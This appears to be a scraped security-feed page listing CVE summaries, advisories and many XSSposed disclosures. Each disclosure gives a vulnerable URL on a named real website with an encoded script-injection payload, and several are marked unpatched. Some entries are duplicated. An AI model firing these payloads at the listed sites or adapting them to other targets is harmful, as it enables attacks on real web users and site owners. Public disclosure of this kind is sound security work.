CVE-2016-0801

The Broadcom Wi-Fi driver in the kernel in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via crafted wireless control message packets, aka internal bug 25662029...

Memory corruption

The Broadcom Wi-Fi driver in the kernel in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via crafted wireless control message packets, aka internal bug 25662029...

Code injection

media/libmedia/SoundPool.cpp in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 mishandles locking requirements, which allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka...

CVE-2016-0805

The performance event manager for Qualcomm ARM processors in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 allows attackers to gain privileges via a crafted application, aka internal bug 25773204...

mountainstatesman.com XSS vulnerability

Vulnerable URL: http://www.mountainstatesman.com/searcharchives.php?heading=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:24 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

Threat Outbreak Alert RuleID20939: Email Messages Distributing Malicious Software on February 4, 2016

Medium Alert ID: 43421 First Published: 2016 February 4 22:19 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID20939 may contain the following files: Name |...

jdv.edu.in XSS vulnerability

Vulnerable URL: http://jdv.edu.in:8181/eBLIS/opac/ReserveReport.jsp?txtTitle=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown /...

py-imaging, py-pillow -- Buffer overflow in PCD decoder

The Pillow maintainers report: In all versions of Pillow, dating back at least to the last PIL 1.1.7 release, PcdDecode.c has a buffer overflow error. The state.buffer for PcdDecode.c is allocated based on a 3 bytes per pixel sizing, where PcdDecode.c wrote into the buffer assuming 4 bytes per...

CVE-2016-0805

The performance event manager for Qualcomm ARM processors in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49G, and 6.x before 2016-02-01 allows attackers to gain privileges via a crafted application, aka internal bug 25773204...

3jy.com XSS vulnerability

Vulnerable URL: http://www.3jy.com/member/iframe/login.html?message=%22%3E%3Csvg/onload=confirm%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 36776 Google...

cardaid.co.uk XSS vulnerability

Vulnerable URL: http://www.cardaid.co.uk/hoursheets/login.php?message=Invalid%22%3E%3Csvg/onload=confirm%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1687497...

ProjectSend r582 - Multiple Vulnerabilities

ProjectSend r582 - Multiple Vulnerabilities Advisory ID: SGMA-16001 Title: ProjectSend multiple vulnerabilities Product: ProjectSend previously cFTP Version: r582 and probably prior Vendor: www.projectsend.org Vulnerability type: SQL-injection, Auth bypass, Arbitrary File Access, Insecure Object...

VideoLAN VLC Media Player 2.2.1 - '.mp4' Heap Memory Corruption

Exploit for windows platform in category dos / poc Application: VLC media player Platforms: Windows Versions: Version 2.2.1 Author: Francis Provencher of COSIG Website: http://www.protekresearchlab.com/ Twitter: @COSIG 1 Introduction 2 Report Timeline 3 Technical details 4 POC =============== 1...

CVE-2015-7974

Removed by vendor...

artbrokerage.com XSS vulnerability

Vulnerable URL: https://www.artbrokerage.com/search?q=aids%22/%3E%3CsVg/onlOad=prompt%28/xssposed/%29%3Em=pA2==price=date= Details: Description| Value ---|--- Patched:| Yes, at 23.02.2016 Latest check for patch:| 23.02.2016 18:23 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

corpbank.biz XSS vulnerability

Vulnerable URL: https://www.corpbank.biz/CorpBank/jsp/common/DirectTaxPreLogin.jsp Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 132399 Google Pagerank| 4 VIP website status:| No...

bind: Security update (4 CVEs)

The bind package has been rebuilt and was uploaded to the Chaos Calmer 15.05 repository due to multiple security issues. VERSION 9.9.7-P3-1 = 9.9.8-P3-1 CHANGELOG Sun, 24 Jan 2016 12:43:29 +0100 41dcf83 Fixes: CVE-2015-8704 CVE-2015-3193 CVE-2015-8000 CVE-2015-8461 CHANGES net/bind/Makefile | 4...

brand-identikit.it XSS vulnerability

Vulnerable URL: http://www.brand-identikit.it/it/searchit.html?searchText=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1450384 Googl...

mapeasy.com XSS vulnerability

Vulnerable URL: http://www.mapeasy.com/search.cfm?searchtext=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4187521 Google Pagerank| 4...

corvetteamerica.com XSS vulnerability

Vulnerable URL: https://www.corvetteamerica.com/cf/displayspecial.cfm?specialid=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 719411...